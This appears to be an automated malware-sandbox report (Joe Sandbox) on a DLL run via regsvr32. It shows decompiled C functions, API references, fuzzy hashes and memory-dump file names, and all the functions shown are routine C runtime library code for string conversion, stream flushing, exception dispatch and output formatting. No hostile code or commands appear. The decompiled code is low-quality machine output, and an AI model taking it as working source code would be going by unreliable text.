Opcode Fuzzy Hash: 17be20b0b4ddc98d10ae5d9642fe0f8cd8b1b2069c373d6ecdcef621e5a80c70
Instruction Fuzzy Hash: 8CE03961A0890691F6D4AF14EC113ED2290A740788FE1422290CC072F2CB7EA6058751

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F570 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 16%

			E000007FE7FEF9D2F570(intOrPtr __edx, long long __rcx, void* __rdx, long long __r8, void* _a8, intOrPtr _a16, long long _a24, intOrPtr _a32, void* _a40, intOrPtr _a48, intOrPtr _a64) {
				long long _v24;
				intOrPtr _v32;
				long long _v40;
				signed int _v48;
				int _v52;
				int _v56;
				signed int _v64;
				long long _v72;
				long long _t82;

				_a32 = r9d;
				_a24 = __r8;
				_a16 = __edx;
				_a8 = __rcx;
				_v56 = 0;
				if (_a48 != 0) goto 0xf9d2f5ab;
				_a48 =  *((intOrPtr*)( *_a8 + 4));
				if (_a64 == 0) goto 0xf9d2f5bf;
				_v32 = 9;
				goto 0xf9d2f5c7;
				_v32 = 1;
				_v64 = 0;
				_v72 = 0;
				r9d = _a32;
				_v48 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
				if (_v48 != 0) goto 0xf9d2f60b;
				goto 0xf9d2f6f8;
				if (0 != 0) goto 0xf9d2f652;
				if (_v48 <= 0) goto 0xf9d2f652;
				if (_v48 - 0xfffffff0 > 0) goto 0xf9d2f652;
				_t82 = _v48 + _v48 + 0x10;
				E000007FE7FEF9D2F3B0(malloc(??), 0xdddd, _t82);
				_v24 = _t82;
				goto 0xf9d2f65b;
				_v24 = 0;
				_v40 = _v24;
				if (_v40 != 0) goto 0xf9d2f674;
				goto 0xf9d2f6f8;
				E000007FE7FEF9D232B0(0, _a48, 0, _v40, __rdx, _v48 << 1);
				_v64 = _v48;
				_v72 = _v40;
				r9d = _a32;
				_v52 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
				if (_v52 == 0) goto 0xf9d2f6ea;
				r8d = _v52;
				_v56 = GetStringTypeW(??, ??, ??, ??);
				E000007FE7FEF9D2F3E0(_v40);
				return _v56;
			}

0x7fef9d2f570
0x7fef9d2f575
0x7fef9d2f57a
0x7fef9d2f57e
0x7fef9d2f587
0x7fef9d2f597
0x7fef9d2f5a4
0x7fef9d2f5b3
0x7fef9d2f5b5
0x7fef9d2f5bd
0x7fef9d2f5bf
0x7fef9d2f5c7
0x7fef9d2f5cf
0x7fef9d2f5d8
0x7fef9d2f5f9
0x7fef9d2f602
0x7fef9d2f606
0x7fef9d2f60f
0x7fef9d2f616
0x7fef9d2f62a
0x7fef9d2f631
0x7fef9d2f646
0x7fef9d2f64b
0x7fef9d2f650
0x7fef9d2f652
0x7fef9d2f660
0x7fef9d2f66b
0x7fef9d2f66f
0x7fef9d2f686
0x7fef9d2f68f
0x7fef9d2f698
0x7fef9d2f69d
0x7fef9d2f6bf
0x7fef9d2f6c8
0x7fef9d2f6d2
0x7fef9d2f6e6
0x7fef9d2f6ef
0x7fef9d2f6fc

APIs

MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F5F3
malloc.LIBCMTD ref: 000007FEF9D2F639
_MarkAllocaS.LIBCMTD ref: 000007FEF9D2F646
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F6B9
GetStringTypeW.KERNEL32 ref: 000007FEF9D2F6E0

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ByteCharMultiWide$AllocaMarkStringTypemalloc
String ID:
API String ID: 2618398691-0
Opcode ID: 05827e3f81ca9d4f9e036e9cc38fe06689f9ef4e573a4afec1c92632646a1a95
Instruction ID: 79d90a16a348acae5d1e8c33d658c717d72e619f6ed261e78ac23a31a9732c13
Opcode Fuzzy Hash: 05827e3f81ca9d4f9e036e9cc38fe06689f9ef4e573a4afec1c92632646a1a95
Instruction Fuzzy Hash: 9941E7726187818AD7A08B19E48476EB7E0F385795F204525EADE43BB8DB7ED484CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3FF00 Relevance: 7.6, APIs: 5, Instructions: 79
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D3FF00(intOrPtr __ecx, intOrPtr _a8) {
				signed int _v16;
				signed int _v20;
				signed int _v24;

				_a8 = __ecx;
				_v24 = 0;
				_v16 = 0;
				0xf9d29300();
				_v20 = 0;
				_v20 = _v20 + 1;
				if (_v20 -  *0xf9d4e520 >= 0) goto 0xf9d40042;
				if ( *((long long*)( *0xf9d4d500 + _v20 * 8)) == 0) goto 0xf9d4003d;
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000083) == 0) goto 0xf9d4003d;
				E000007FE7FEF9D3AE90(_v20,  *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)));
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000083) == 0) goto 0xf9d40024;
				if (_a8 != 1) goto 0xf9d3ffe1;
				if (E000007FE7FEF9D3FD70( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8))) == 0xffffffff) goto 0xf9d3ffdf;
				_v24 = _v24 + 1;
				goto 0xf9d40024;
				if (_a8 != 0) goto 0xf9d40024;
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000002) == 0) goto 0xf9d40024;
				if (E000007FE7FEF9D3FD70( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8))) != 0xffffffff) goto 0xf9d40024;
				_v16 = 0xffffffff;
				E000007FE7FEF9D3AF60(_v20,  *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)));
				goto L1;
				__ecx = 1;
				__eax = E000007FE7FEF9D29360(__eax, 1);
				if (_a8 != 1) goto 0xf9d4005b;
				__eax = _v24;
				goto 0xf9d4005f;
				__eax = _v16;
				return _v16;
			}

0x7fef9d3ff00
0x7fef9d3ff08
0x7fef9d3ff10
0x7fef9d3ff1d
0x7fef9d3ff23
0x7fef9d3ff33
0x7fef9d3ff41
0x7fef9d3ff58
0x7fef9d3ff78
0x7fef9d3ff92
0x7fef9d3ffb2
0x7fef9d3ffb9
0x7fef9d3ffd3
0x7fef9d3ffdb
0x7fef9d3ffdf
0x7fef9d3ffe6
0x7fef9d40000
0x7fef9d4001a
0x7fef9d4001c
0x7fef9d40038
0x7fef9d4003d
0x7fef9d40042
0x7fef9d40047
0x7fef9d40051
0x7fef9d40053
0x7fef9d40059
0x7fef9d4005b
0x7fef9d40063

APIs

_lock_file2.LIBCMTD ref: 000007FEF9D3FF92
_fflush_nolock.LIBCMTD ref: 000007FEF9D3FFCB
_fflush_nolock.LIBCMTD ref: 000007FEF9D40012
_unlock_file2.LIBCMTD ref: 000007FEF9D40038
_unlock.LIBCMTD ref: 000007FEF9D40047

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _fflush_nolock$_lock_file2_unlock_unlock_file2
String ID:
API String ID: 1144694634-0
Opcode ID: 9c48fc7a63950d59b547df98b2f037ee7aefe6eda58a35de18d9feeb54d081ae
Instruction ID: ac60367dbbc332a4a9212cb966813f3525e1d277dda9a6ba7eb8e741a9ed9bf6
Opcode Fuzzy Hash: 9c48fc7a63950d59b547df98b2f037ee7aefe6eda58a35de18d9feeb54d081ae
Instruction Fuzzy Hash: D441F136A08905C5EB70CB1DE98173D73E0F799B49F204225EA9D877B4CB3EE945CA01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D33CC0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 186
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D33CC0(void* __edx, void* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, long long _a16, long long _a24, long long _a32, signed int* _a40, char _a48, signed int _a56, signed int _a64) {
				long long _v16;
				long long _v24;
				intOrPtr _v32;
				long long _v40;
				long long _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v64;
				long long _v72;
				char _v80;
				long long _v88;
				void* _t135;
				void* _t145;
				void* _t147;
				void* _t148;
				void* _t149;
				signed int* _t200;
				intOrPtr _t206;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				0xf9d24000();
				if ( *((intOrPtr*)(__rax + 0x2c0)) != 0) goto 0xf9d33d6c;
				if ( *_a8 == 0xe06d7363) goto 0xf9d33d6c;
				if ( *_a8 != 0x80000029) goto 0xf9d33d2a;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 0xf) goto 0xf9d33d2a;
				if ( *((long long*)(_a8 + 0x60)) == 0x19930520) goto 0xf9d33d6c;
				if ( *_a8 == 0x80000026) goto 0xf9d33d6c;
				if (( *_a40 & 0x1fffffff) - 0x19930522 < 0) goto 0xf9d33d6c;
				if ((_a40[9] & 0x00000001) == 0) goto 0xf9d33d6c;
				goto 0xf9d3409c;
				if (( *(_a8 + 4) & 0x00000066) == 0) goto 0xf9d33ef3;
				if (_a40[1] == 0) goto 0xf9d33ee4;
				if (_a48 != 0) goto 0xf9d33ee4;
				if (( *(_a8 + 4) & 0x00000020) == 0) goto 0xf9d33e40;
				if ( *_a8 != 0x80000026) goto 0xf9d33e40;
				_v56 = E000007FE7FEF9D33A60(_a24, _a40, _a32,  *((intOrPtr*)(_a24 + 0xf8)));
				if (_v56 - 0xffffffff < 0) goto 0xf9d33e0a;
				if (_v56 - _a40[1] >= 0) goto 0xf9d33e0a;
				goto 0xf9d33e0f;
				E000007FE7FEF9D2CF80(_a40);
				r9d = _v56;
				E000007FE7FEF9D34F20(_a40, _a16, _a32, _a40);
				goto 0xf9d33ec7;
				if (( *(_a8 + 4) & 0x00000020) == 0) goto 0xf9d33ec7;
				if ( *_a8 != 0x80000029) goto 0xf9d33ec7;
				_v48 = _a8;
				_v52 =  *((intOrPtr*)(_v48 + 0x38));
				if (_v52 - 0xffffffff < 0) goto 0xf9d33e95;
				if (_v52 - _a40[1] >= 0) goto 0xf9d33e95;
				goto 0xf9d33e9a;
				E000007FE7FEF9D2CF80(_a40);
				r9d = _v52;
				E000007FE7FEF9D34F20(_v48,  *((intOrPtr*)(_v48 + 0x28)), _a32, _a40);
				goto 0xf9d3409c;
				E000007FE7FEF9D2E790(_v52 - _a40[1], _v48, _a16, _a32, _a40);
				goto 0xf9d34097;
				if (_a40[3] != 0) goto 0xf9d33f59;
				if (( *_a40 & 0x1fffffff) - 0x19930521 < 0) goto 0xf9d34097;
				_t200 = _a40;
				if ( *((intOrPtr*)(_t200 + 0x20)) == 0) goto 0xf9d33f44;
				_t135 = E000007FE7FEF9D2E680( *_a40 & 0x1fffffff, _t200);
				_v24 = _t200 + _a40[8];
				goto 0xf9d33f4d;
				_v24 = 0;
				if (_v24 == 0) goto 0xf9d34097;
				if ( *_a8 != 0xe06d7363) goto 0xf9d34041;
				if ( *((intOrPtr*)(_a8 + 0x18)) - 3 < 0) goto 0xf9d34041;
				if ( *((intOrPtr*)(_a8 + 0x20)) - 0x19930522 <= 0) goto 0xf9d34041;
				_t206 =  *((intOrPtr*)(_a8 + 0x30));
				if ( *((intOrPtr*)(_t206 + 8)) == 0) goto 0xf9d33fc5;
				E000007FE7FEF9D2E6A0(_t135, _t206);
				_v16 = _t206 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 8));
				goto 0xf9d33fce;
				_v16 = 0;
				_v40 = _v16;
				_t177 = _v40;
				if (_v40 == 0) goto 0xf9d34041;
				_v64 = _a64 & 0x000000ff;
				_v72 = _a56;
				_v80 = _a48;
				_v88 = _a40;
				_v32 = _v40();
				goto 0xf9d34097;
				_v64 = _a56;
				_v72 = _a48;
				_v80 = _a64 & 0x000000ff;
				_v88 = _a40;
				E000007FE7FEF9D340B0(_t145, _t147, _t148, _t149, _t177, _a40, _a8, _a16, _a24, _a32);
				return 1;
			}

0x7fef9d33cc0
0x7fef9d33cc5
0x7fef9d33cca
0x7fef9d33ccf
0x7fef9d33cd8
0x7fef9d33ce4
0x7fef9d33cf8
0x7fef9d33d08
0x7fef9d33d16
0x7fef9d33d28
0x7fef9d33d38
0x7fef9d33d4e
0x7fef9d33d60
0x7fef9d33d67
0x7fef9d33d7c
0x7fef9d33d8e
0x7fef9d33d9c
0x7fef9d33db2
0x7fef9d33dc6
0x7fef9d33dec
0x7fef9d33df5
0x7fef9d33e06
0x7fef9d33e08
0x7fef9d33e0a
0x7fef9d33e0f
0x7fef9d33e2c
0x7fef9d33e3b
0x7fef9d33e50
0x7fef9d33e60
0x7fef9d33e6a
0x7fef9d33e77
0x7fef9d33e80
0x7fef9d33e91
0x7fef9d33e93
0x7fef9d33e95
0x7fef9d33e9a
0x7fef9d33eb8
0x7fef9d33ec2
0x7fef9d33edf
0x7fef9d33eee
0x7fef9d33eff
0x7fef9d33f15
0x7fef9d33f1b
0x7fef9d33f27
0x7fef9d33f29
0x7fef9d33f3d
0x7fef9d33f42
0x7fef9d33f44
0x7fef9d33f53
0x7fef9d33f67
0x7fef9d33f79
0x7fef9d33f8e
0x7fef9d33f9c
0x7fef9d33fa4
0x7fef9d33fa6
0x7fef9d33fbe
0x7fef9d33fc3
0x7fef9d33fc5
0x7fef9d33fd3
0x7fef9d33fd8
0x7fef9d33fde
0x7fef9d33fe8
0x7fef9d33ff4
0x7fef9d34000
0x7fef9d3400c
0x7fef9d34035
0x7fef9d3403f
0x7fef9d34049
0x7fef9d34055
0x7fef9d34061
0x7fef9d3406d
0x7fef9d34092
0x7fef9d340a0

APIs

_inconsistency.LIBCMTD ref: 000007FEF9D33E0A

Strings

csm, xrefs: 000007FEF9D33F61
csm, xrefs: 000007FEF9D33CF2

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _inconsistency
String ID: csm$csm
API String ID: 32975420-3733052814
Opcode ID: b62b0453fdffd86c1ea8e56b24d9441da31a01f9fe07ee07632383c0adf59322
Instruction ID: 322b6d8969e66d64c69545eab8578d1d9fa1a0c6b52bdd8827c0b0ea251a3b55
Opcode Fuzzy Hash: b62b0453fdffd86c1ea8e56b24d9441da31a01f9fe07ee07632383c0adf59322
Instruction Fuzzy Hash: 12A1EE3660CBC5C6D7B08B15E5447AEB7A0F385B95FA04126EACD87BA9CB3DD844CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29640 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

__free_lconv_mon.LIBCMTD ref: 000007FEF9D296DF
__free_lconv_num.LIBCMTD ref: 000007FEF9D29726

Strings

((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[ca, xrefs: 000007FEF9D2991D
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\localref.c, xrefs: 000007FEF9D29932

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __free_lconv_mon__free_lconv_num
String ID: ((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[ca$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\localref.c
API String ID: 2148069796-2706031433
Opcode ID: 5d60d57c9e58d07f7621284f5e9f8ee1c279b3f05538a913626922df64b73307
Instruction ID: d8e48e7000e52547e61d66b201573bb281919b8ac3286b667feec84700a76b7c
Opcode Fuzzy Hash: 5d60d57c9e58d07f7621284f5e9f8ee1c279b3f05538a913626922df64b73307
Instruction Fuzzy Hash: 60A11E36A18A8581EB908F49E4853BEA3E0F3C4B54F665036EA8E477B5CFBED445C740

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32772 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32A56

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32A07, 000007FEF9D32A41
_vsnprintf_s_l, xrefs: 000007FEF9D32A48
("Buffer too small", 0), xrefs: 000007FEF9D329F2, 000007FEF9D32A4F

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3717698799
Opcode ID: 9007319e5b81e0e19641b6dff6978a626c4b249898d68e368399ad5d9614f895
Instruction ID: f46ca83dba6c4e2be9a9571e906a820c6a216ec021220a7175966cdc7e38441f
Opcode Fuzzy Hash: 9007319e5b81e0e19641b6dff6978a626c4b249898d68e368399ad5d9614f895
Instruction Fuzzy Hash: EB810D31A1DB8686DAB08B29E84476E73E0F385765F204225E6ED437E9DF3DD445CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C719 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D3C719(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t212;
				signed char _t217;
				intOrPtr _t252;
				signed int _t327;
				signed int _t328;
				signed long long _t331;
				intOrPtr* _t354;
				signed long long _t379;

				_t327 = __rax;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t327;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t327;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t328 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t331 = _a824;
				_a832 = _t331;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t331;
				if (_a116 >= 0) goto 0xf9d3c8d8;
				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t212 = _a116;
				_a116 = _a116 - 1;
				if (_t212 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t212 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t217 = _a816 + _a708;
				_a816 = _t217;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t217;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t252 = _a1060;
				_a876 = _t252;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t354 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t354;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t252 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t354 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t379, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c719
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
